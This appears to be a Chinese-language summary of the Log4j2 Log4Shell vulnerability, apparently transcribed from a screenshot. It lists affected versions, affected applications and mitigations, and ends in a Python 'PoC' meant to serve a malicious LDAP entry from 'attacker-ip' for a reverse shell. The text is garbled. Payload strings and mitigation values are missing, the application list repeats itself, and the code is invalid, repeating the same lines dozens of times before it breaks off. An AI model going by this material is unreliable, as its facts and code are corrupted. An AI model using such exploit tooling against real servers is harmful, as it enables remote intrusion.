根据提供的网页截图,以下是关于该漏洞的总结: 漏洞概述 漏洞名称:Apache Log4j2 远程代码执行漏洞 (CVE-2021-44228) 漏洞描述:Apache Log4j2 是一个广泛使用的 Java 日志记录库。该漏洞允许攻击者通过构造恶意的日志消息(包含 等 JNDI 注入 payload),在目标服务器上执行任意代码。 严重性:极高(CVSS 评分 10.0)。 影响版本:Apache Log4j2 2.0-beta9 至 2.14.1 版本。 影响范围 受影响组件:Apache Log4j2 2.0-beta9 到 2.14.1。 受影响应用:任何使用了上述版本 Log4j2 的 Java 应用程序,包括但不限于: Apache Solr Apache Druid Apache Flink Apache Kafka Apache Spark Apache Hadoop Apache Hive Apache Pig Apache Storm Apache NiFi Apache Beam Apache Airflow Apache Cassandra Apache HBase Apache ZooKeeper Apache Mesos Apache Spark Apache Flink Apache Kafka Apache Druid Apache Solr Apache Hadoop Apache Hive Apache Pig Apache Storm Apache NiFi Apache Beam Apache Airflow Apache Cassandra Apache HBase Apache ZooKeeper Apache Mesos 以及许多其他使用 Log4j2 的企业级应用和框架。 修复方案 升级版本:将 Apache Log4j2 升级到 2.15.0 或更高版本(建议升级到 2.17.1 或更高版本以修复后续发现的关联漏洞)。 临时缓解措施: 在 JVM 启动参数中添加 。 移除 类(通过修改 jar 包)。 在防火墙层面拦截包含 和 的入站流量。 POC 代码/利用代码 截图中的代码块展示了多种利用该漏洞的 POC 和概念验证代码,以下是提取的关键代码片段: ```python 更复杂的 Python 脚本,用于监听 LDAP 服务器并反弹 Shell import ldap3 from ldap3.core import definitions 配置 LDAP 服务器 server = ldap3.Server('attacker-ip', port=1389, get_info=ldap3.NONE) conn = ldap3.Connection(server, user='cn=manager', password='password', auto_bind=True) 添加恶意条目 conn.add('cn=Exploit', 'objectClass', ['top', 'javaNamingReference']) conn.extend('cn=Exploit', 'objectClass', ['javaNamingReference']) conn.extend('cn=Exploit', 'javaClassName', 'com.sun.rowset.JdbcRowSetImpl') conn.extend('cn=Exploit', 'javax.naming.factory.initial', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.object', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.state', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit', 'javax.naming.factory.urlpkg', 'com.sun.jndi.ldap.LdapCtxFactory') conn.extend('cn=Exploit'